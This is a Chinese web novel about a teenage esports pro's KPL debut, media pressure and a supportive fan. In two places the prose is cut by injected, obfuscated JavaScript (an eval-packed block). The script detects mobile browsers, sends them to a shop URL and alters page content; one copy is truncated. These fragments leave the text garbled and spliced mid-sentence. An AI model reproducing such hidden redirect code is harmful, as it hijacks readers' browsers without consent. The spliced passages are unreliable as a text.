《许你一诺》 1. 月光下的首秀 2018年9月12日,上海KPL电竞中心 后台休息室的空气凝重得能拧出水来。 徐必成坐在最角落的椅子上,左手紧紧握着手机,右手一遍又一遍地用袖口擦拭着已经光洁如新的屏幕。指纹被擦掉了,又沾上新的汗渍,再擦掉。这个动作他重复了十七次——他其实数着,数数能让他暂时忘记心脏撞击胸腔的震动声。 “紧张?” 旁边递过来一瓶矿泉水。 徐必成抬起头,看到Cat——郭家毅,BA黑凤梨的队长,联盟顶级中单,此刻正歪着头看他,嘴角挂着那种惯有的、似笑非笑的弧度。那笑容里没有嘲讽,倒像是一种过来人的了然。 “没……”徐必成接过水,拧开瓶盖时才发现手抖得厉害,水洒了几滴在队服裤子上。 深蓝与白相间的BA队服,胸口绣着黑凤梨的Logo。这身衣服他穿了一个多月,但在灯光下还是显得崭新而陌生,就像他此刻的身份——KPL职业选手,ID:一诺。 “正常。”Cat在他身边坐下,自己拧开一瓶水喝了大半,“我第一次上场前,在厕所吐了。” 徐必成愣了一下,看向Cat。对方的表情很平静,不像在开玩笑。 “真的?” “真的。”Cat晃了晃水瓶,“后来发现吐完了反而轻松了。压力这种东西,你得给它找个出口。” 休息室另一头,教练组正在做最后的战术布置。白板上画满了红蓝箭头,六点六——队里的老大哥,边路支柱——正盯着那些线条沉思。小兽、居居、770……这些ID在徐必成看来都还带着某种光环。一个月前,他还在直播平台上看他们的比赛,现在却要和他们并肩作战。 “今天打RNG.M,他们新人打野很凶,但节奏容易断。”Cat压低声音,“你下路对虔诚,稳住就行。他经验比你多,但反应没你快。” 徐必成点点头,想说些什么,但喉咙发干。 “记住,训练赛怎么打,比赛就怎么打。”Cat拍拍他肩膀,“你公孙离的胜率,队里没人比你高。” 这句话像一颗定心丸。 公孙离。 徐必成低头看向手机屏幕,壁纸是他自己设置的——枫叶、纸伞、灵动的身影。这个英雄刚出不久,机制复杂,上下限差距极大。但他第一次上手就感觉莫名的契合,那种飘忽不定的位移,那种在刀尖上跳舞的刺激感,像极了他此刻的人生。 十七岁,高中辍学,从江西到上海,从主播到青训,再从青训到首发。 父母在电话里的叹息还在耳边:“打游戏能打一辈子吗?” 他不知道。 他只知道,此刻坐在这里,手心出汗、心跳如雷,但他不想去任何别的地方。 “准备上场!” 工作人员推开门。 徐必成猛地站起身,动作太急,椅子在地上刮出刺耳的声音。所有人都看向他,他脸一红,又默默把椅子挪回原位。 六点六笑了:“小孩儿,别慌。输了算我的。” “走了走了。”Cat搂过他肩膀,带着他往外走。 通道很长,灯光昏暗。能听到前方赛场传来的声音——解说激昂的语调,观众隐约的欢呼,还有那种低频的、持续的背景音,像是无数人窃窃私语汇聚成的潮汐。 徐必成走在队伍末尾,盯着前面队友的背影。 六点六的肩很宽,步伐沉稳。Cat走路时习惯性地微微晃动肩膀,那是长期训练坐姿留下的痕迹。小兽回头看了他一眼,竖了个大拇指。 通道尽头有光。 越来越亮。 声音也越来越清晰—— “接下来,让我们欢迎——BA黑凤梨战队!” 光淹没了视野。 --- 观众席第三排,陈薇调整了一下眼镜。 她是BA的老粉了,从2017年这支队伍进入KPL就开始关注。喜欢BA的理由很实际:这支队伍不强也不弱,没有明星选手,但团队协作极好,像一台精密的机器。看他们比赛不刺激,但踏实。 今天她特意请了假,从杭州坐高铁过来。赛季初的第一场比赛,她想看看新赛季的BA有什么变化。 “新赛季BA黑凤梨有一个人员变动。”解说李九的声音通过音响传来,“原发育路选手小剑转会,新人一诺首发。这位选手今年只有十七岁,此前是主播出身,以操作细腻著称。” 大屏幕上出现徐必成的定妆照。 很年轻的一张脸,甚至还有些稚气未脱。头发梳得整齐,眼神直视镜头,嘴角勉强扯出一个笑容——那种标准的新人照,能看出紧张的弧度。 “一诺……”陈薇念着这个ID,没什么特别的感觉。 KPL每个赛季都有新人,能留下来的没几个。虔诚、刺痛、Hurt……这些老牌射手哪一个不是天才出身?新人想在这个位置站稳,太难了。 灯光聚焦在选手席。 BA五人依次入座。陈薇看到那个新人坐在最右边的位置,戴上耳机前还深呼吸了一次。导播给了个特写——他的手在调试设备,手指修长,指甲剪得很干净。 “有点好看。”旁边传来年轻女孩的窃窃私语。 陈薇笑了笑。女粉丝关注的点总是很一致。 BP开始了。 BA蓝色方,先Ban先选。RNG.M针对性地禁掉了六点六的关羽和Cat的干将莫邪。BA则按掉了版本强势的裴擒虎和项羽。 “BA一楼会拿什么?”解说琪琪说,“现在外面还有公孙离,但这个英雄……” 话音未落,BA一楼亮起头像。 枫叶,纸伞。 锁定。 现场响起一阵轻微的骚动。公孙离在职业赛场的胜率并不高,太脆,太吃操作,容错率极低。敢在首秀拿这个英雄,要么是自信到极致,要么是疯狂。 陈薇身体微微前倾。 她看到屏幕里,那个新人选手在看到锁定公孙离的瞬间,抿了抿嘴唇,然后——笑了。 不是紧张的笑,不是假装的笑。 是那种,看到心爱玩具终于到手的孩子气的笑。 --- 徐必成调整了一下耳机。 隔音耳机把外界声音压成模糊的背景音,只能听到队友的呼吸和电流的嘶嘶声。这种封闭感让他安心。 “一诺公孙离,可以。”教练的声音从耳机传来,“按训练赛的打法,前期稳一点,等六点□□级。” “收到。”他听到自己说,声音还算平稳。 加载界面,十个英雄头像亮起。 RNG.M.虔诚,马可波罗。 徐必成的手指在屏幕上轻轻敲击。马可对公孙离,经典对位。前期公孙离小优,但马可中后期更稳定。关键在操作,在细节,在一技能飞镖的准度,二技能位移的时机。 “全军出击!” 游戏音效穿透耳机。 徐必成操控着公孙离走出泉水。枫叶飘落,纸伞旋转,这个英雄的移动姿态有一种独特的轻盈感。他喜欢这种感觉——仿佛自己真的化身为那个在枫叶间穿梭的舞者。 第一波兵线交汇。 他上前补刀,同时观察马可的走位。虔诚是老将,站位极其刁钻,总是卡在能补兵但不会被过度消耗的位置。 徐必成试探性地扔出一技能飞镖。 被躲开了。 “反应很快。”他小声说。 “别急,慢慢来。”Cat的声音,“我清完这波线来帮你。” 中路Cat拿的是武则天,清线速度尚可。徐必成点头,专注对线。他注意到马可每次用一技能扫射时都有一个极短的僵直——这是所有马可玩家的通病,因为一技能期间不能移动。 第三波兵线。 马可再次使用一技能清兵。 就是现在。 徐必成二技能位移拉近距离,一技能飞镖出手,同时公孙离的被动触发,普攻附带枫叶印记。马可后撤,但已经吃了两下普攻。 血量小优。 “可以啊一诺。”六点六在上路说,“压着虔诚打。” 徐必成没说话。他全部注意力都在屏幕上。补刀、走位、消耗、计算经验值…… 四级。 几乎同时,他和马可身上同时亮起升级的光效。 “我来了。”Cat的声音。 武则天从中路消失。 几乎同一时间,RNG.M的中单也给出信号:“武则天不见了。” 徐必成看到马可开始后撤。但Cat的武则天已经绕到了河道草丛。 “闪现大!” Cat果断出击,闪现接大招,女帝的威严从天而降,马可脚下亮起法阵。 但虔诚的反应快得惊人——几乎在法阵出现的瞬间,马可二技能位移接闪现,瞬间拉开两个身位。 “差一点!”Cat啧了一声。 徐必成没犹豫。 公孙离一技能突进,纸伞留在原地,普攻,再按一技能回到伞位。这个连招他练了上千遍,快得像一道金色闪电。 马可还剩三分之一血,逃回塔下。 “算了,压一波兵线。”Cat说。 徐必成点头,但眼睛还盯着塔下的马可。那个血量……如果大招推的角度够好…… “一诺,别。”Cat像是看穿了他的想法,“塔下杀不死,你会被换。” 理智告诉他Cat是对的。 但身体已经动了。 公孙离再次一技能进塔,但这次不是直线——是一个斜角,卡在防御塔边缘。大招“孤鹜断霞”推出,纸伞裹挟着气浪,将马可往墙上推了半个身位。 就是这半个身位。 防御塔的攻击已经亮起。 徐必成秒接二技能,旋转的纸伞挡掉一次塔伤,普攻出手,然后瞬间一技能回到最初的伞位。 整个操作在两秒内完成。 “First Blood!” 系统女声响起。 全场寂静了一瞬,然后爆发出惊呼。 陈薇直接从座位上站了起来。 她看清了——公孙离进塔,大招推墙,二技能挡塔伤,普攻,然后极限距离位移出塔。整个过程行云流水,最后出塔时公孙离的血量只剩下47点。 但凡防御塔再多一次攻击,死的就是公孙离。 “我的天……”解说李九的声音高了八度,“一诺塔下强杀了虔诚!这波操作太细了!二技能挡塔伤的时间掐得刚刚好!” 导播回放。 慢镜头下,每一个细节都清晰可见:马可被推墙的僵直,公孙离二技能纸伞展开的瞬间刚好挡住塔伤的光效,最后那一丝血皮逃出防御塔范围。 “这新人……”琪琪惊叹,“胆子太大了。” 选手席上,徐必成深吸一口气。 手指还在微微发抖,但这一次不是因为紧张,而是因为兴奋。那种刀尖舔血成功后涌上来的、滚烫的兴奋感。 “我靠,牛逼啊一诺!”小兽在语音里喊。 “可以可以。”六点六也笑了。 Cat没说话,但徐必成余光看到他对自己竖了个大拇指。 比赛继续。 拿到一血后,公孙离经济领先,对线彻底压制。徐必成越打越顺,每一次换血都占便宜,每一次消耗都精准。十分钟时,他的公孙离已经推掉了下路一塔,转线中路。 团战爆发。 RNG.M开暴君,BA选择接团。六点六的白起闪现嘲讽到三人,Cat武则天大招跟上控制。徐必成的公孙离在侧翼输出,一技能进场,大招推开前排,二技能旋转收割残血。 “Double Kill!” “Triple Kill!” 系统播报接连响起。 当RNG.M的水晶爆炸时,徐必成的战绩定格在7/1/3,输出占比37%。 “赢了。”他摘下耳机。 外界的声音瞬间涌进来——掌声、欢呼、解说的总结。他有些恍惚,好像刚才那二十五分钟是一场过于真实的梦。 “打得不错。”Cat拍拍他后背,“走吧,去握手。” 徐*** 赛后采访区,徐必成站在镜头前。 灯光打得很亮,他几乎看不清台下的人,只能看到一片模糊的光晕。手里的话筒沉甸甸的,手心又开始出汗。 主持人是个声音很好听的小姐姐,问题很常规:“第一次打KPL就拿到MVP,感觉怎么样?” 徐必成脑子里一片空白。他准备了几个回答,但此刻全都忘了。最后只能挤出干巴巴的一句:“还……还行。” 台下发出一阵善意的笑声。 他脸红了。 “今天那波塔下强杀,是事先设计好的吗?” “不是。”这次他回答得快了些,“就是……感觉能杀。” “感觉?”主持人笑了,“很自信啊。那对今天的对手虔诚,有什么想说的吗?” 徐必成想了想,很认真地说:“他很厉害,我学到了很多。” 这是真心话。虽然单杀了虔诚,但那场比赛他清楚感受到对方的老辣——对兵线的理解,对团战站位的把控,那些经验上的差距不是一两个操作能弥补的。 采访很快结束。徐必成鞠躬下台,脚步有些飘。 回到后台,教练第一个迎上来,用力揉了揉他头发:“可以啊小子!” “打得不错。”六点六递给他一瓶运动饮料。 小兽和居居在讨论刚才的团战细节。770在整理外设。一切都很平常,就好像这只是又一场训练赛。 但徐必成知道,不一样了。 手机震动了一下。他掏出来看,是妈妈发来的微信:“儿子,妈妈看了直播。你打得很好。” 短短一行字,他反复看了三遍。 鼻子突然有点酸。 “收拾东西,回去了。”Cat拎着背包走过来,“晚上复盘,明天训练赛照常。” “嗯。” 徐必成把手机塞回口袋,开始收拾自己的外设。键盘、鼠标、耳机,每一样都仔细擦拭干净。他做这些事时很专注,像某种仪式。 离开场馆时已经是晚上九点。 上海的夜风带着初秋的凉意。徐必成走在队伍最后,抬头看了看天。城市的夜空看不到星星,只有霓虹灯染出的暗红色光晕。 “想什么呢?”Cat放慢脚步等他。 “没想什么。”徐必成顿了顿,“就是觉得……好像真的开始了。” Cat笑了,没说话。 大巴车等在路边。队员们依次上车,徐必成选了靠窗的位置。车子启动,窗外的街景开始流动。他拿出手机,打开微博。 比赛结束才一个多小时,他的粉丝数已经从三千涨到了一万二。 私信爆炸,@他的消息无数。他点开热搜,第37位挂着#一诺首秀#的词条。 手指划动,看到各种评论: “这公孙离太秀了吧!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028839|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “新人怪物啊!” “BA捡到宝了!” “只有我觉得他长得还挺好看吗?” 也有不同的声音: “一场比赛而已,别吹太早。” “对线单杀一次就吹上天?虔诚后面几波团战作用比他大。” “英雄克制罢了。” 徐必成一条条看过去,心里有种奇怪的感觉。那些赞美让他开心,那些质疑让他不服气,但更多的是一种不真实感——这些人,是在说他吗? 那个一个月前还在家里直播打游戏、被观众调侃“主播打得不错,考虑打职业吗”的徐必成? “少看这些。”Cat的声音从旁边传来。 徐必成转头,发现Cat不知何时坐到了他旁边的位置。 “舆论这东西,今天能把你捧上天,明天就能把你踩进泥里。”Cat看着窗外,“你记住,打得好就夸,打得差就骂,这是观众的权力。但你要知道你是谁,为什么打比赛,想要什么。” “我想要什么……”徐必成重复。 “赢。”Cat说得很简单,“一直赢。赢到没人能质疑你。” 大巴车穿过隧道,灯光在车窗上拉出流动的光斑。徐必成看着那些光影,忽然想起比赛时的那波塔下强杀——那种千钧一发的刺激感,那种赌赢了的狂喜。 他想再体验一次。 不,他想体验更多次。 手机又震动了一下。是微博特别关注提醒——BA黑凤梨官方号转发了他的赛后采访视频,配文:“新秀亮剑,未来可期。欢迎一诺。” 他点了个赞。 然后切到微信,给妈妈回消息:“妈,我会继续努力的。” 发送。 车窗外,上海的不夜城灯火璀璨。这座城市的某个角落里,一定有无数像他一样的少年,正盯着手机屏幕,幻想有一天也能站在那个舞台上。 而他现在,已经站在了起跑线前。 路还长。 但他已经迈出了第一步。 --- 深夜,俱乐部训练室。 其他人都已经回去休息了,徐必成还坐在电脑前。屏幕上播放着今天比赛的录像,不是高光集锦,而是每一个细节——每一次走位,每一次技能释放,每一次决策。 他暂停在第六分钟,那波Cat来抓下,但马可逃掉的镜头。 “这里……”他自言自语,“如果我再往前压半个身位,马可二技能之后的位置刚好能被Cat大到。” 他在笔记本上记下这一点。 笔记本是普通的横线本,已经写了好几页。从青训开始,他就习惯记录每一场训练赛的得失。英雄克制、技能CD、阵容搭配……密密麻麻的字,有些地方还画着简陋的示意图。 翻到最新一页,他写下日期:9.12。 然后记录: ·对线虔诚,前期压制成功,但第三波兵线时漏了一个补刀(走位过于激进) ·四级单杀那波,二技能挡塔伤时机完美,但之前一技能飞镖浪费了一次(可以留着打更多伤害) ·第十分钟团战,站位过于靠前,差点被兰陵王切死(需注意小地图) · …… 写到一半,训练室门被推开。 “还不睡?” 是Cat,手里拎着两罐可乐。 “马上。”徐必成接过可乐,冰凉的触感让他清醒了些。 Cat拉过椅子坐下,看了眼他的笔记本:“这么认真?” “复盘一下。” “复盘是好事,但别钻牛角尖。”Cat拉开可乐,喝了一口,“你今天打得很好,真的。” 徐必成沉默了几秒,忽然问:“Cat哥,你第一次赢比赛后,什么感觉?” Cat想了想:“爽。然后空虚。” “空虚?” “就是那种……‘这就完了?’的感觉。”Cat笑了笑,“你拼尽全力赢下一场比赛,但马上又要准备下一场。永远没有尽头。” “那你为什么还在打?” “因为喜欢啊。”Cat说得很自然,“喜欢赢的感觉,喜欢操作的感觉,喜欢和队友一起拼的感觉。虽然累,虽然压力大,但每次赢的时候,就觉得一切都值了。” 徐必成似懂非懂地点头。 “早点睡吧。”Cat站起身,“明天训练赛约了EDG.M,他们下路组合很强,你得做好准备。” “好。” Cat走到门口,又回头:“对了,你今天采访那样子,粉丝都说你可爱。以后多笑笑,别老绷着脸。” “我哪有绷着脸……” 门关上了。 训练室里又只剩下徐必成一个人。他看了看屏幕上的录像,又看了看笔记本上的字迹,最后关掉了电脑。 回到宿舍时已经凌晨一点。 同屋的小兽已经睡着了,呼吸平稳。徐必成轻手轻脚地洗漱,躺到床上,却毫无睡意。 他拿出手机,打开微博。 粉丝数又涨了一些,现在是一万五。他点开私信,随意翻看着。 大部分是鼓励的话: “一诺加油!今天打得太帅了!” “会一直支持你的!” “注意休息,别太累。” 也有些奇怪的: “小哥哥有女朋友吗?” “可以互关吗?” 他笑了笑,没回复。 正要退出时,他看到一条很长的私信。是个女生发的,ID叫“薇风拂晓”。 “一诺你好,我是今天的现场观众,坐在第三排。看到你第一次上场紧张的样子,让我想起了自己第一次上台演讲。后来你单杀虔诚的那波操作,我在现场直接站起来了(虽然有点丢人)。想告诉你,不用给自己太大压力,你已经做得很好了。比赛有赢有输,但努力和坚持的样子,比胜负更打动人心。我会一直看BA的比赛,也会一直为你加油。早点休息,晚安。” 徐必成盯着这条私信看了很久。 然后他点进这个人的主页。是个普通用户,微博不多,大部分是生活分享——工作的烦恼,周末的早餐,偶尔的旅行照片。最新一条是今晚发的: “现场看了BA的比赛,新人一诺很亮眼。突然觉得,能亲眼见证一个人的职业生涯起步,是件很奇妙的事。希望这个少年能走得很远很远。” 配图是现场拍的照片——舞台上,BA五人鞠躬谢幕。徐必成在画面的边缘,侧脸在灯光下显得很柔和。 他给这条微博点了个赞。 然后回到私信界面,输入:“谢谢。我会继续努力的。” 发送。 放下手机,徐必成闭上眼睛。 脑海中浮现出今天的画面:通道尽头的灯光,耳机里的游戏音效,塔下强杀时的心跳,赛后采访时的灯光,还有那条长长的私信。 这一切都真实地发生了。 他,徐必成,ID一诺,今天在KPL的舞台上,留下了第一个脚印。 路还很长。 但此刻,他只想好好睡一觉。 窗外,城市的霓虹依旧闪烁。而在某个普通的公寓里,陈薇收到了一条微博私信提醒。她点开,看到那个简单的回复,笑了笑,关掉了手机。 夜深了。 明天太阳升起时,新的训练、新的比赛、新的故事,又将开始。 而对于徐必成来说,属于他的时代,刚刚拉开序幕。 --- 【第一章·完】 2. 天才的标签与重量 2018年10月,BA黑凤梨训练基地 清晨六点四十七分,天光未亮。 徐必成是被手机震动吵醒的。不是闹钟——昨晚复盘到凌晨三点,他设的闹钟是八点——而是微信消息的连续提示音,密集得像暴雨敲窗。 他迷迷糊糊摸到手机,屏幕的冷光刺得眼睛生疼。 微信群里消息爆炸: “成哥!你又上热搜了!” “牛啊一诺,昨天那局公孙离被官方做成集锦了!” “看看这个B站视频,点击已经五十万了!” 徐必成揉了揉眼睛,点开其中一个链接。 跳转到B站,标题赫然写着:“【KPL新神诞生】一诺公孙离极限操作合集,这操作是人打的???” 视频时长七分半,剪辑了他首秀至今的所有高光时刻:塔下强杀虔诚、团战三进三出、极限逃生反杀……弹幕厚得几乎遮住画面: “这新人太离谱了” “操作怪本怪” “BA捡到宝了+1” “没人觉得他长得还挺帅吗” “楼上,电子竞技看实力!” 徐必成滑到评论区,热评第一写着:“这天赋,不拿冠军说不过去吧?” 他盯着那句话看了三秒,然后关掉手机。 窗外,上海的天空是暗蓝色的,远处高楼顶部的航空警示灯一闪一闪。宿舍里很安静,小兽还在熟睡,呼吸声均匀绵长。徐必成轻手轻脚爬下床,洗漱,换上运动服,戴上口罩和帽子。 他要出去跑步。 这个习惯是从一个月前开始的。首秀之后,他的生活发生了某种质变——训练赛日程翻倍,采访邀约不断,微博粉丝数像坐了火箭一样冲到二十万,每条动态下面都有几千条评论。 压力也随之而来。 第二场比赛他拿了马可波罗,数据平平,虽然赢了,但赛后评论里开始出现不和谐的声音: “就这?首秀即巅峰?” “果然新人还是不稳定” “被研究透了吧” 教练拍拍他肩膀说别在意,Cat也说舆论就是这样反复无常。但徐必成发现自己做不到——他会在训练结束后偷偷翻评论,会把那些负面的话记在心里,然后在下一场比赛里更用力地想要证明自己。 结果往往是更糟。 跑步能让他暂时忘记这些。 清晨的街道空旷安静,只有环卫工人在清扫落叶。徐必成沿着固定的路线慢跑,呼吸在冷空气中凝成白雾。耳机里放着纯音乐,没有歌词,只有钢琴和提琴的交织。这是他一天中唯一完全属于自己的时间。 跑到第三个路口时,手机又震动了。 他停下来,靠在路边梧桐树上喘气。是俱乐部经理发来的消息:“今天下午有个专访,联盟官方媒体的,我给你推了联系方式。好好准备,别乱说话。” 后面附了一个文档,里面是可能被问到的问题和标准答案。 徐必成点开看了看,都是些老生常谈:“如何适应职业节奏”、“对未来的期待”、“想对粉丝说什么”。答案写得四平八稳,符合一个“乖巧新人”的人设。 但他不喜欢。 “收到。”他还是回了这两个字。 继续跑步。 --- 下午两点,采访间。 采访记者是个三十岁左右的男人,戴着黑框眼镜,说话语气温和。但徐必成能感觉到,那双镜片后的眼睛在审视自己——不是恶意的审视,而是一种职业性的观察,像在评估一件商品的价值。 “首先恭喜BA目前七连胜,你在其中的表现非常亮眼。”记者翻开笔记本,“很多观众评价你是‘天才型选手’,你自己怎么看这个标签?” 徐必成握紧了放在膝盖上的手。 这个问题不在经理给的文档里。 他想了想,谨慎地回答:“我觉得……没有所谓的天才。大家看到的只是比赛那几十分钟,但背后是每天十几个小时的训练。如果硬要说有什么不同,可能是我比较喜欢研究操作细节。” “比如?” “比如每个英雄的技能前后摇、攻速阈值、位移距离……”说起这些,徐必成的语气自然了些,“我会在训练模式里反复测试,记下来,然后在实战里应用。” 记者飞快记录:“所以你是数据流选手?” “不算吧。”徐必成摇头,“数据是基础,但比赛里更多是靠感觉。什么时候该上,什么时候该撤,那种判断……很难用数据量化。” “那这种‘感觉’是怎么培养的?” “打得多,想得多,输得多。”徐必成顿了顿,“输的时候想得最多。” 记者笑了:“很实在的回答。我注意到你每场比赛后都会复盘,这个习惯是怎么养成的?” “Cat哥教的。”徐必成说,“他说,赢要知道为什么赢,输要明白为什么输。稀里糊涂地赢,比明明白白地输更可怕。” 接下来的问题都比较温和。徐必成按照文档上的思路回答,偶尔加入一点自己的真实想法。采访进行到一半时,记者忽然问:“你有看网上的评论吗?关于你的那些……争议。” 徐必成的手指收紧。 “偶尔会看。” “那你怎么处理负面评价?比如有人说你‘状态不稳定’、‘英雄池浅’。” 训练室里,Cat的声音在耳边回响:“别盯着黑暗看……” 但徐必成没说这句话。他沉默了几秒,然后抬起头:“我会用比赛回应。” 记者愣了愣,随即笑了:“很直接。期待你接下来的表现。” 采访结束,徐必成走出房间,在走廊里深深吸了口气。经理等在门口,拍拍他肩膀:“回答得不错,特别是最后那句,有气势。” 徐必成扯了扯嘴角,没说话。 他其实想说,那句话不是“有气势”,而是他唯一能想到的、不让自己被那些声音吞没的办法。 --- 当晚训练赛,对阵EDG.M。 BA训练室灯火通明。五台电脑并排,键盘敲击声清脆密集。白板上画着今天的战术重点:针对初晨的野区,保护一诺发育。 徐必成活动了一下手腕,戴上耳机。 进入房间,对面五个ID整齐排列。初晨、浪浪、无痕……这些都是联盟里响当当的名字。一个月前,徐必成还会因为这些ID而紧张,但现在,他只想赢。 BP开始。 EDG.M蓝色方,第一轮Ban位给到了六点六的关羽和Cat的干将——常规针对。BA按掉裴擒虎和盾山。 EDG.M一楼抢下公孙离。 “他们以选代Ban。”教练的声音从后面传来,“一诺,你想拿什么?马可还是孙尚香?” 徐必成盯着那个公孙离的头像。 这是挑衅,也是认可——认可到需要亲自禁掉你的绝活英雄。 “孙尚香。”他说。 锁定。 阵容确定: BA:孙尚香(一诺)、武则天(Cat)、白起(六点六)、鬼谷子(770)、赵云(小兽) EDG.M:公孙离(初晨)、张良(浪浪)、花木兰(无痕)、太乙真人(koko)、娜可露露(初晨) 加载界面,徐必成活动了一下手指。 比赛开始。 开局平稳发育,双方打野都在寻找机会。两分钟暴君刷新,EDG.M率先开龙。BA选择接团,六点六白起闪现开团,但被无痕的花木兰重剑一技能拍起三人。 团战瞬间爆炸。 徐必成的孙尚香在后排输出,但EDG.M的注意力全在他身上。张良闪现大招按住,公孙离跟上输出。尽管770的鬼谷子尽力拉扯,孙尚香还是第一个倒下。 “First Blood!” 送出一血。 紧接着Cat的武则天被娜可露露切死,BA被打出0换3,丢掉暴君和一塔。 经济瞬间落后两千。 “我的。”徐必成说。他刚才站位太靠前了,想打更多输出,结果被抓住机会。 “没事,稳住。”Cat的声音很平静,“他们阵容前期强,我们拖后期。” 但EDG.M显然不打算给机会。初晨的娜可露露配合无痕的花木兰疯狂入侵野区,小兽的赵云发育严重受限。徐必成每次想出去吃线,都要提防草丛里可能蹦出来的张良。 八分钟,经济差拉到五千。 徐必成的手指开始发凉。他能感觉到自己的操作变形了——翻滚后忘记接普攻,走位出现不该有的失误。每次失误,他心里就沉一分。 十二分钟,高地团。 EDG.M带着主宰先锋压上高地。六点六的白起抓住机会大招嘲讽到三人,Cat武则天跟上大招。 “可以打!”徐必成精神一振。 孙尚香翻滚上前,一炮打在公孙离身上——暴击!公孙离瞬间残血! 但几乎同时,无痕的花木兰从侧面闪现切入,重剑二技能推中孙尚香。徐必成想交净化,但手速慢了半拍。 被秒了。 屏幕灰掉的那一刻,他听到初晨的公孙离拿下三杀的播报。 水晶爆炸。 训练赛结束,0:2,BA被零封。 训练室里一片寂静。 只有键盘鼠标被放下的声音。徐必成摘掉耳机,盯着屏幕上刺眼的“失败”二字,喉咙发紧。 “复盘。”教练的声音响起。 所有人移动到会议桌。投影仪打开,播放刚才的比赛录像。教练用激光笔指着屏幕,语气严肃但不严厉:“第一波龙团,问题在哪里?” “我开团急了。”六点六说。 “我被张良按了。”徐必成说。 “不是这个问题。”教练摇头,“你们看这里——” 画面暂停在龙团前五秒。 “一诺,你为什么在这个位置?” 徐必成看过去。那是中路右草,孙尚香蹲在那里,想找机会消耗。但那个位置,一旦被开,完全没有逃生空间。 “我想偷点伤害……” “然后送了。”教练点了点屏幕,“你是射手,是全队的后期保障。你死了,我们这局基本就没了。明白吗?” 徐必成低下头:“明白。” “天才也要学会忍耐。”教练换了个语气,“你有操作,有意识,但缺少经验。什么时候该凶,什么时候该怂,这个度你要自己把握。” 复盘持续了一个小时。每一波团战,每一个决策,都被掰开揉碎分析。徐必成的笔记本又多了三页——都是问题,都是失误。 结束时已经晚上十点。 “今天早点休息,明天继续。”教练合上笔记本,“一诺留一下。” 其他队友陆续离开。Cat走到门口,回头看了徐必成一眼,眼神复杂,但没说什么。 训练室里只剩下徐必成和教练。 “坐。”教练指了指椅子。 徐必成坐下,手指无意识地抠着裤缝。 “最近压力很大?”教练问。 “……有一点。” “我看出来了。”教练叹了口气,“你打得越来越急,越想证明自己,失误越多。这是个恶性循环。” 徐必成没说话。 “你知道联盟里有多少‘天才’吗?”教练自问自答,“每年都有,像雨后春笋一样冒出来。但三年后还在打的,不到十分之一。为什么?” 徐必成摇头。 “因为心态。”教练点了点自己的太阳穴,“天赋决定上限,但心态决定下限。你可以在操作上碾压对手,但一旦心态崩了,操作就会变形,判断就会失误。到时候,天赋反而会成为你的负担——因为所有人都会说:‘看,那个天才又送了’。” 窗外传来汽车鸣笛声,遥远而模糊。 “今天采访你说,会用比赛回应质疑。”教练看着他,“这个想法很好。但你要明白,回应不是一场两场,而是一个赛季,一年,整个职业生涯。你要有打持久战的准备。” 徐必成抬起头:“我该怎么做?” “两件事。”教练伸出两根手指,“第一,卸载微博,至少常规赛期间别看了。第二,把‘天才’这个标签从脑子里摘掉。你就是徐必成,一个正在学习怎么打职业的新人。赢了,是团队打得好;输了,是团队没打好。别把全世界的重量都扛在自己肩上。” 徐必成沉默了很久。 然后他点头:“我试试。” “回去吧。”教练拍拍他肩膀,“明天训练赛,我要看到你的改变。” --- 徐必成没有直接回宿舍。 他去了二楼的阳台。那里很少有人来,只有几盆半死不活的绿植和一个旧沙发。他窝在沙发里,看着楼下的街景。 夜色已深,但城市的灯火永不熄灭。车流像发光的河流,在高架桥上缓缓流淌。远处,KPL电竞中心的轮廓在夜色中隐约可见——那里是他战斗的地方,也是无数目光聚焦的地方。 手机在口袋里震动。 他掏出来看,是妈妈发来的微信:“儿子,睡了吗?妈妈看你今天好像有比赛?” 徐必成眼眶一热。 他打字:“训练赛,输了。” 消息发出去,他立刻后悔了。妈妈不懂电竞,她只会担心。 但妈妈的回复很快:“输了就输了,下次赢回来。记得吃饭,别熬夜。” 简单的几句话,却像暖流一样涌进心里。 他又打开微博——教练说要卸载,但他还没做到。点开搜索框,输入“一诺”。 实时微博跳出来: “今天训练赛据说被EDG.M暴打,天才就这?” “早说了新人昙花一现” “BA七连胜要断咯” 但也有些不同的声音: “一场训练赛而已,别贷款输赢” “相信一诺能调整过来” “电子竞技有输有赢很正常” 徐必成一条条翻过去,心情像坐过山车。看到恶评会愤怒,看到鼓励会感动,看到理性分析会思考。最后他停在一条微博上,是那个叫“薇风拂晓”的粉丝发的: “看了今天的采访,一诺说‘用比赛回应’。这句话让我想起自己刚工作时,被质疑能力,也是憋着一股劲想证明自己。后来发现,最好的证明不是一时的爆发,而是持续的成长。给新人一点时间,也给自己一点耐心。相信他。” 配图是一张手绘——Q版的一诺拿着孙尚香的炮,眼神坚定。 徐必成盯着那张画看了很久。 然后他点开私信,输入:“谢谢你的画。今天训练赛输了,但我会赢回来的。” 发送。 几乎是立刻,对方回复了:“训练赛的输赢不重要,重要的是学到东西。早点休息,明天又是新的一天。” 徐必成盯着那句话,忽然笑了。 是啊,明天又是新的一天。 他关掉手机,靠在沙发上。夜风吹过来,带着初冬的寒意。远处传来隐约的音乐声,不知道是哪家酒吧还在营业。 他想起了很多事。 想起第一次接触王者荣耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028840|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是高一那年同桌推荐的。那时他只是当消遣,没想到会沉迷。 想起第一次打上王者,兴奋得一夜没睡。 